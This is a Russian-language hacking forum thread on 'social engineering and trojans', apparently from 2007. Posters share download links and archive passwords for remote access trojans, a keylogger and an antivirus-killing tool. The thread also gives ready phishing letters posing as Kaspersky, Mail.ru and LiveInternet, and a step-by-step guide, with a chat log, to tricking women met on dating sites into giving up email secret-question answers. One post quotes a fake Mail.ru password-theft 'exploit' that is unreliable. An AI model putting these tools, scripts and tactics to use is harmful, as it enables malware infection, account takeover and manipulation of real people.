Социальная Инженерия и Трояны

[WeNZeeR]

ВНИМАНИЕ!!! ВСЯ ИНФОРМАЦИЯ НАХОДЯЩАЕСЯ В ЭТОЙ ТЕМЕ ДАНА ИСКЛЮЧИТЕЛЬНО ДЛЯ ОЗНАКОМЛЕНИЯ.

PS за применения данных програм есть статья УК, вся ответственнось за их использование ложится на ВАС а не администрацию ресурса.

В случее если Virustotal.com (24 в одном) нет под рукой..

Антивирусные сканеры:

1) Mini AV Scanner (19 антивирусов в одном.)

http://rapidshare.com/files/97972169/AVScan.part1.rar
http://rapidshare.com/files/98028365/AVScan.part2.rar
http://rapidshare.com/files/98031187/AVScan.part3.rar
Pass: activespy.org
Total size:
213 MB

2) ScanLix 1.0 (10 в одном)


http://usuarios.lycos.es/beto1234/ScanLix.rar
или рапида:
http://rapidshare.com/files/89857999...part1.rar.html
http://rapidshare.com/files/89867190...part2.rar.html
Total size:
147 MB

[WeNZeeR]

sharK 2.2 - довольно неплохой бекдор, постоянные обнавления.

Скрин редактора сервера.


Серверная часть =>

Цитата: c:\WINDOWS\system32\My_Server.exe

Примерный вес ~205 кб
Для авто запуска создаёт следующий ключ реестра.

Цитата: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{EAB9FD2E-D036-ED80-F641-BF10A05B109E}

Скачать можно тут.
rarpass: shark-project.net


GoodLuck 3.0.0.1 сам не юзал.
Скрин клиента.
[IMG]http://img469.**************/img469/2778/xsscn6.jpg[/IMG]
Скачать можно тут.

CRIMINAL-RAT ещё 1 новый трой в данный момент находится на стадии бета тестинга.

Скрин клиента

скачать можно тут.


один из методов развода.

Цитата: Лаборатория Касперского и администрация @Mail.ru предупреждает: О начале новой эпидемии вируса червя wormNAME, уже заражено более 1000000 компьютеров, не исключено что и ваш компьютер подвергся заражению, для лечения/удаления данной Интернет угрозы рекомендуем вам воспользоваться нашими продуктами, если же вы не зарегистрированный клиент то специально для вас была выпущена бесплатная версия антивируса Касперского скачать и установить её можно по этой ссылки[name.narod.ru/trojan.exe]. Если у вас установлена не лицензионная версия Антивируса Касперского то данное приложение работать не будет, для корректной работы бесплатной версии пиратскую необходимо удалить. Спасибо за использование наших продуктов. С Уважением Лаборатория Касперского и Администрация @Mail.ru. Это сообщение послано роботом, отвечать на него не нужно.

PS как отправить письмо с ящика [email protected] думаю все знают..

[WeNZeeR]

Еще новинки, сам не юзал.

Molela 1.15 beta

Скачать можно тут

Marmoolak 1.17 (keylogger)

Скачать можно тут.

Программа для лечения антивирусов и файров.
Качаем тут + Сорсы

Hav-Rat 1.3.2 Beta тоже не плохой бекдор, покрайней мере привидущая версия..

Скачать можно тут.

Добавлено через 4 минуты
rarpass: havalito.com

[WeNZeeR]

Итак Знакомимся с Девушками по "Хакерскому"
или пример того как можно вскрыть мыло..

1) поиск жертв, первое что нужно сделать это зайти на сайт знакомств, зарегистрироваться и вписать туда кривое мыло, если не хотите чтобы ваш ящик был забит средствами для увеличения полового члена, активировать не нужно а переписывается можно и с не активированным аккуантом, правда только 24 часа... но и этого должно хватить, далее находим пару десятков более менее симпатичных девушек и отправляем им сообщение вида:
---------------------------------------------------------------------------

Цитата: Привет! меня зовут name, Студент, вот хочу познакомится, слушаю реп, Диму Билана и.т.д, занимаюсь бодибилдингом, люблю зверюшек, большие карие глаза, брюнет.. итд. icq: xxx-xxx-xxx PS переписывается на сайте не могу , аккуант удалят через 24 часа... неправильно ввёл емаил.

PS: Туже инфу пишем в номере ICQ
---------------------------------------------------------------------------

Для быстрого поиска нажмите на "кнопку кто сейчас на сайте", чтобы не ждать 2 дня..

После того как девушка клюнула копируем её мыло и номер аси и тупо вставляем в Яндыкс/гугль для получение более подробной инфы, наверняка девушка уже засветилась на каком нить форуме,
рассказала о себе итд, в последующем разводе это может сильно пригодится, также соит посмотреть секретный вопрос на мыле, Например если вопрос как зовут твою собаку, можно прикинутся тренером животных

процент удачной рыбалки обычно составляет примерно 10% ... итак жертва клюнула. далее читаем

Я: ******
Она: ******0

Лог

Цитата: ******0 (12:00:44 22/07/2007) привет ****** (12:02:28 22/07/2007) Прив, с Mail.ru? ******0 (12:02:36 22/07/2007) да ******0 (12:02:42 22/07/2007) узнал? ****** (12:03:00 22/07/2007) Почти.. ****** (12:03:03 22/07/2007) http://love.mail.ru/anketa.phtml?oid=******* ****** (12:03:05 22/07/2007) ? ******0 (12:03:46 22/07/2007) именно ****** (12:04:03 22/07/2007) Из *****[город]? ******0 (12:04:22 22/07/2007) теперь из *******[город] ****** (12:05:37 22/07/2007) Раньше жила в [город]? Раскажи чтонить о себе? ******0 (12:07:18 22/07/2007) 2 года жила в [город], ездила учится, но институт не понравился и бросила, потом нашла работу. на лето приехала в [город], не люблю большие города летом. ****** (12:07:46 22/07/2007) RE: ездила учится [универ]? ******0 (12:08:01 22/07/2007) [универ] ****** (12:08:23 22/07/2007) Раньше был [универ] так? ******0 (12:08:30 22/07/2007) [универ] ******0 (12:08:51 22/07/2007) [универ] делится на [универ] и [универ] ****** (12:09:07 22/07/2007) тогда незнаю.. тож в [город] учился ******0 (12:09:18 22/07/2007) в [универ]? ****** (12:09:24 22/07/2007) да ******0 (12:10:58 22/07/2007) удачно? ****** (12:11:17 22/07/2007) нет не совсем.. у тебя почта есть, мыло всмысли.. ******0 (12:12:03 22/07/2007) да *****[мыло] [И вот первая жопа, ася негде ни известна, на мыле стоял вопрос "Девячья фамелия матери" недолго думая я нашёл выход, Читаем дальше.] ****** (12:13:36 22/07/2007) понятно.. ******0 (12:13:50 22/07/2007) а что? ****** (12:14:55 22/07/2007) да нет просто вдруг что написать захочу, кстати моё мыло ******[мыло] ******0 (12:15:26 22/07/2007) может фото пришлешь? [Сперва хотел прислать трой замаскированный под sfx rar архив, но при передаче файлов виден IP, кто знает вдруг она из "отдела К"))) ] ****** (12:15:47 22/07/2007) ok почему бы и нет.. ****** (12:16:05 22/07/2007) кстати в компах разбираешся? ******0 (12:16:12 22/07/2007) нет ******0 (12:16:22 22/07/2007) подруга разбирается ****** (12:16:42 22/07/2007) понятно, какую музыку предпочитаешь? ******0 (12:17:18 22/07/2007) особых предпочтений нет но Билан нравится ****** (12:17:55 22/07/2007) мне тоже) кстати говорят его хотят пнуть со сцены... ******0 (12:18:21 22/07/2007) это врядли произойдет ****** (12:18:48 22/07/2007) может.. ****** (12:19:28 22/07/2007) Почту проверь, фотка пришла? ******0 (12:19:43 22/07/2007) сейчас загляну ******0 (12:20:46 22/07/2007) нет еще не пришла ****** (12:21:32 22/07/2007) Странно.. меня написанно что сообщение доставленно.. ******0 (12:21:57 22/07/2007) пока нет ****** (12:23:08 22/07/2007) Слышала про вип статус на mail.ru? ******0 (12:23:32 22/07/2007) да, он уже давно появился ******0 (12:23:41 22/07/2007) хочешь подключить? ****** (12:25:11 22/07/2007) да вот думаю.. говорят это возможно сделать бесплатно.. ******0 (12:25:40 22/07/2007) не слышала, только если тебе его подарят ****** (12:26:13 22/07/2007) нет там нужно отправить запрос на какоето мыло.. ****** (12:26:32 22/07/2007) посмотри пришла фотка? [в это время регистрирую мыло и придумываю текст] ******0 (12:26:43 22/07/2007) сейчас ******0 (12:27:58 22/07/2007) не приходит чего то ****** (12:28:55 22/07/2007) блин.. ****** (12:28:59 22/07/2007) [Мыло] якобы администрации мыла.ru вид: Имя? Фамелия? Имя, Фамелия Отца и матери, если Матери то девечья? Коротко о себе? ****** (12:29:10 22/07/2007) а вот, запрос на вип ****** (12:29:24 22/07/2007) отправил жду ответ.. ******0 (12:31:42 22/07/2007) как получишь напиши ****** (12:32:37 22/07/2007) Что написать? ******0 (12:32:44 22/07/2007) ответ ****** (12:33:03 22/07/2007) ok ****** (12:33:37 22/07/2007) написанно что в течении 10 минут отвечают ты ещё долго будешь? ******0 (12:33:59 22/07/2007) долго, я на работе в сутках ****** (12:34:19 22/07/2007) Кем работаешь? [Пока она пишит я сочиняю текст ответа] ******0 (12:34:37 22/07/2007) [должность] в [Место работы] ****** (12:35:00 22/07/2007) Круто... ******0 (12:35:09 22/07/2007) ато ;) ****** (12:37:25 22/07/2007) Вот что пришло "Здравствуйте уважаемый Рома, мы приняли ваш запрос в данный момент он находится на модерации, и будет рассмотрен в ближайшее время, Спасибо что выбрали нас, с уважением администрация @mail.ru." ******0 (12:37:52 22/07/2007) может тоже попробовать? [ну вот рыбка клюнула] ****** (12:38:24 22/07/2007) Конечно вдруг получится.. ******0 (12:38:41 22/07/2007) щас попробуем ****** (12:42:03 22/07/2007) Вот ещё хотел спрасить [место работы] это как? ****** (12:42:24 22/07/2007) Всмысли вместо [место работы] используются [место работы]? ******0 (12:42:39 22/07/2007) [место работы] вообщем все тоже самое только на [место работы] ****** (12:43:15 22/07/2007) те [место работы] оборудован [место работы]? ******0 (12:43:25 22/07/2007) ага ****** (12:43:37 22/07/2007) Прикольно.. ****** (12:44:05 22/07/2007) Тебе ответ пришёл? ******0 (12:44:10 22/07/2007) да только днем народа нет, ******0 (12:44:23 22/07/2007) не отсылала еще потом попробую ****** (12:44:55 22/07/2007) ок.. интересно рассмотрят мою или нет... ******0 (12:45:17 22/07/2007) наверно рассмотрят ****** (12:45:58 22/07/2007) а впринцепи толку мне от Вип, у меня всерогно аккуант удалят((( я емаил вввёл неправельный.. поэтому даже фотки размещать не стал.. ******0 (12:46:25 22/07/2007) так создай новую анкету ****** (12:46:37 22/07/2007) попробую.. ****** (12:49:23 22/07/2007) "Ваша заявка была принята, но для продолжения вы должны активировать ваш аккуант, статус VIP буден установлен автоматически, это письмо было послано роботом и отвечать на него не нужно, c Уважение Администрация @Mail.ru" [подогреваем обстановку] ****** (12:49:32 22/07/2007) блин.. ******0 (12:50:03 22/07/2007) ******0 (12:50:26 22/07/2007) создашь новую анкету, и там попробуй ****** (12:50:42 22/07/2007) такчто с этой анкетой випа мне невидать((( ******0 (12:50:59 22/07/2007) делай новую ****** (12:51:27 22/07/2007) Ладно пойду погуляю буду через часа 2, приятно было познакомится ещё увидимся. ******0 (12:51:39 22/07/2007) ******0 (12:52:38 22/07/2007) спишемся

[Deementor]

Господа, аффтар жжет, каменты просто отпад.
Ждемс продолжение?
А вот и мой небольшой отчет, раз уж тема далеко в низ ушла http://www.nowa.cc/showthread.php?t=52431

[WeNZeeR]

Slh 3.0 FUD By oxiD
Pass : unkn0wn.eu
Скрин клиента.
[IMG]http://img155.**************/img155/1642/untitledjd4.png[/IMG]

Only McAfee detects : New Win32.g2 , на 07.07.2007

[WeNZeeR]

Цитата: sharK 2.3 Released 24 July 2007 | 18:00 | There we go, have fun with the new release canditate: sharK 2.3.0 Changelog (+ = New Feature; * = Bugfix): [+] You can disable the splash screen [+] Shark saves Width & Height of Serverwindow [+] sharK can also use HKCU as mainstartup [+] Change Last_Accessed/Modified/Creation Time in Folder/File Properties [+] Download Folders (with Subfolders) with one mouseclick [+] Panic Mode 3 for Blacklist: Cuts all Connections while specified Process is running! [+] Better ETA-Calculation [+] You can set images as Wallpaper [+] Edit Blacklist Remotely [+] Server-Builder saves settings till ending shark (even when closing server-builder-dialog) [+] Complete Thumbnail View [+] Automaticially Sort Transfer Queue (New Transfers to the Top etc) [+] Server perfoms Install-Events even when already installed [+] External Window for Screencap/Webcam Cap (optional) [+] Custom Installdir [+] Melt Server [+] Disclaimer added [+] Improved Server-Builder [+] Hold External Windows on Top [+] Hide Transer-Queue when minimized to systray [+] Ask before Removing Server/Clear Offlog [+] Offlog-Parser with Progressbar [+] Optimizing the Transfer-Code once again for more speed [+] Server changes also Last_Access and Last_modified date to Creation-Time [*] Save_Screen/CamShots are not checked automaticially[*] You cannot "flood" the server with nullstring-messages in C2C Chat[*] Server transfers wrong clientindex to plugins on received-file[*] Sometimes sharK displays wrong OS

Скачать можно тут, пароль на архив тотже.

Добавлено через 3 минуты
Xhacker 3.0

PS Скрины можно посмотреть на офф сайте.

[Tigrik]

Может не совсем в тему , но вот как один кадр пытался применить соц. инженерию на форуме ххххх (люди там в основном не глупые) :

подробности тут

Metrocom
Взломать, т.е. получить пароль любого ящика на mail.ru оказывается проще простого.

Дело в том, что mail.ru видимо писал какой-то корявый програмер и оставил одну существенную ошибку в своей "работе", докопаться до которой было довольно таки сложно, но... всё приходит - нужно тока время. Mail.ru поддаётся нижеописанному способу кражи пароля с почтовых ящиков по той причине, что там сидят ещё более кривые программисты.
Теперь суть ошибки:
На mail.ru есть система восстановления пароля, именно при её разработке разработчики допустили серъёзную ошибку. Грубо говоря, она выглядит следующим образом:
При заполнении формы на странице восстановления пароля и нажатии кнопки "Отправить", с помощью sendmail отправляется письмо "mail-роботу", который при правильном сочетании "Вопрос - Ответ" отправляет пользователю пароль, или предлагает ввести новый. Как выяснилось - этот "робот" изначально создавался для более гибкой работы, чтобы у пользователей было больше возможностей для восстановления доступа к их почтовому ящику: например можно ему выслать пароль и имя ящика - и тогда он выдаст ответ на "секретный вопрос", или отослать ответ на "секретный вопрос" и логин - тогда вам будет прислан пароль и т.д. Но это ещё полбеды (для mail.ru и yandex.ru естественно, а не для нас) Оказывается если прислать "роботу" имя ящика (логин), пароль на него и ответ на "секретный вопрос", а как неизвестное вписать какое-либо имя ящика (логин), находящегося на этом сервере, то робот пришлёт нам пароль на этот ящик (!!!)

Теперь что и куда надо слать, чтобы заполучить (украсть) пароль от чужого почтового ящика:

Mail-программа, принимающая запросы пользователей о забытых паролях установлена на [email protected]. В теле письма начиная с 1-ой строчки нужно писать:

Для mail.ru:
<? q_repare=
$default-box: имя_вашего_ящика_полностью;
$default-pass: пароль_вашего_ящика;
$default-aosp: ответ_на_секретный_вопрос;
?a_repare=
$recovery-box: имя_ящика_пароль_которого_хотите_узнать;
$lost-pass: "#take{array["bd_massive $pass_?"]
#lost-pass}";
$CI: mail-box: "здесь пишете поддомен ящика_пароль_которого_хотите_узнать: 'mail.ru' или 'bk.ru' или 'list.ru' или 'inbox.ru'";
?>

Конечная форма должна выглядеть так (это пример):

<? q_repare=
$default-box: xakep;
$default-pass: tttt12345;
$default-aosp: 18.04.2005;
?a_repare=
$recovery-box: lamer;
$lost-pass: #take{array["bd_massive $pass?"]#lost-pass};
$CI: mail-box: mail.ru;
?>

Или вот так (пример для яндекса)

<? q_repare=
$default-box: xakep;
$default-pass: tttt12345;
$default-aosp: 18.04.2005;
?a_repare=
$recovery-box: lamer;
$lost-pass: #take{array["bd_massive $pass?"]#lost-pass};
$CI: mail-box: yandex.ru;
?>


PS: С почтовыми ящиками, которые моложе одного месяца (если ваш ящик или ящик жертвы моложе 1 месяца, или и то и другое), эта штука не проходит, пока неизвестно почему. Если вы ещё не зарегестрированы на mail.ru или yandex.ru, вам придётся это сделать и ждать 1 месяц, если хотите получить результат. Эта дырка была обнаружена 17.05.2005 г. Но нужно спешить, потому что адмены не спят и латают дыры. Постарайтесь быстрей угнать себе красивое название.

З.Ы. Если что сорри за офтоп , и можете преместить в раздел юмор.

[Deementor]

Tigrik, +1
Прочитал.
Сильно улыбнуло. Чуть под столом не потерялся. Спасибо за поднятое настроение. Думаю, день будет веселым. )))
Если дело и дальше так пойдет, то придется создавать тему: "Хацкеры - ржу нимагу"

[WeNZeeR]

TheRat 7.0 XP


Качаем тут, трой был взят с не совсем надёжного источника поэтому тест только на VMware.

rarpass: prologic.ws

[WeNZeeR]

Dark Data RAT (Взято с офф сайта)
[IMG]http://img106.**************/img106/9925/troy1zw6.gif[/IMG]
Примерный вес сервера:

Цитата: 401,408 bytes Клеется/создаёт к файлу c:\WINDOWS\system32\zlib.dll вес: 53,248 bytes

Скачать можно тут.

Unclear RAT 2.2.1 (Взято с офф сайта)
[IMG]http://img513.**************/img513/981/troy2yy5.gif[/IMG]
Примерный вес сервера: 77,824 bytes
скачать можно тут
rarpass: dark-data.co.nr

Turkojan 3.0 Private Edition (вроде всё норм)
[IMG]http://img230.**************/img230/769/troy3te6.gif[/IMG]
Примерный вес сервера: 303,104 bytes
Скачать можно тут.
rarpass: www.bifrostworld.com

Hav-RAT 1.3.0 (Private) (По повуду источника неуверен, тест только на VMware)
[IMG]http://img509.**************/img509/3729/troy4eq0.gif[/IMG]
[IMG]http://img509.**************/img509/1999/troy5ec2.gif[/IMG]

Сервер создаёт/клеется к файлам:

Цитата: c:\WINDOWS\system32\orb32wvx\rhb32swo.exe Примерный вес: 34,128 bytes c:\Documents and Settings\%user%\Local Settings\Temp\IXP000.TMP\gncbdg.exe Примерный вес: 34,128 bytes

Автозапуск(если чесно я такого там неувидел...):

Цитата: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{5B7AC5A1-6568-13F1-261B-67911AF4B4D8} "stubpath" data: C:\WINDOWS\System32\orb32wvx\rhb32swo.exe s

Скачать можно тут.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Вот пример взлома мыла с помощью онлайн блога(liveinternet.ru).
Под средством:

Цитата: _http://amail.h15.ru/

или

Цитата: _http://void.ru/?do=cgifun&item=emsend

Отправляем жертве текст вида:
----------------------------
ТЕМА: Итоги конкурса на лучший блог.

Цитата: Здравствуйте по итогам конкурса проведённого в этом месяце ваш блог был выбран одним из лучших и занял 147 призовое место, Вы выиграли специальный VIP статус для своего блога, пользователи с таким статусом выделяются в особую звёздную рамку, c её помощью о вашем блоге узнают ещё больше людей. Буквально в течении 10 минут к вам в icq(тот что вы указали при регистрации) обратится один из организаторов конкурса на лучший блог, вот его icq номер: XXXXXX С уважение администрация LiveInternet.ru это письмо было посланно роботом и отвечать на него не нужно.

---------------------------
PS: это было нужно для того чтобы невызвать лишних подозрений.
PS/2: XXXXXX по моему опыту чем меньше цифр тем больше верят.
PS/3: желательно использовать следующите адреса

[email protected]
[email protected]
[email protected]

Готовые вопросы.

Цитата: Здравствуйте *******, К вам по электронной почте должно было придти письмо с уведомлением, о том что ваш блог стал обладателем призового места. Для получения VIP статуса необходимо ответить на некоторые вопросы, будете отвечать? Как ваши родители относятся к тому что вы вёдёте онлайн блог? Как часто вы его обновляете? Какого мнения о вашем блоге друзья? Учувствуете ли вы в рекламных проектах liveinternet.ru ? Какого вы мнения о liveinternet.ru? Ну и коротко о себе, того чего вы не указали в анкете. Например каким из компьютерных журналов вы отдаёте предпочтение? Какое радео слушаете? Ваше Хобби, по подробнее Есть ли у вас домашнее животное? Если да то как его зовут? При регистрации вы указывали этот номер? Как вы нас нашли? Вам нас посоветовали? Или вы наткнулись на нас случайно? Можно ссылку на его профиль? Она тоже участвует в нашем онлайн блоге? Чем вы ещё занимаетесь в Интернете кроме того как ведёте свой онлайн блог? Музыку, какой стиль вы предпочитаете кроме Рэпа? (В случае если откажется отвечать) На тот случай если вы забудете пароль, пароли от VIP аккуантов не восстанавливаются стандартным способом. Поэтому для восстановления пароля вы просто пришлёте часть ваших анкетных данных. Она (Возможный вопрос): что произойдет после с моим блогом после таго как вип акк будет актевирован? Ответ: нечего, кроме того что он поднимется в верх по списку, также будет добавлено специальное выделение. Отлично изменения будут приняты в течении 5 минут, в случае если вы забудете пароль то просто отправьте слово “name” на этот адрес [email protected]

PS лога к сожелению нет,нечаяно делитнул в месте с номером..

[WeNZeeR]

Вот ещё cвежак, (только сорсы).
w32 Troy 1.2
[IMG]http://img117.**************/img117/8489/1nl7.png[/IMG]
[IMG]http://img155.**************/img155/7387/3uv9.png[/IMG]
[IMG]http://img242.**************/img242/7527/img7xz6.png[/IMG]
Скачать можно тут.

[Lansp]

WeNZeeR,
TheRat 7.0 XP к ней должен быть ключик, иначе она видна
т.е. предупреждает о мониторинге системы...
И ещё вопросик:
Что значит "трой был взят с не совсем надёжного источника поэтому тест только на VMware"?
У создателей этого крысюка свой сайт есть можно почитать про эту прогу.

[DCRM]

Цитата: Сообщение от Lansp WeNZeeR, TheRat 7.0 XP к ней должен быть ключик, иначе она видна т.е. предупреждает о мониторинге системы... И ещё вопросик: Что значит "трой был взят с не совсем надёжного источника поэтому тест только на VMware"? У создателей этого крысюка свой сайт есть можно почитать про эту прогу.

А то и значит что в трое ещё сюрприз может быть приклеен) так что ТОЛЬКО на ВМ(Виртуальных Машинах) тестируем

[cmex]

Как в этой проге Turkojan 3.0 Private Edition настроить порты?проверил на себе - не видит сервера - проверил порт - говорит ошибка!Как открыть порты нормально чтобы работало?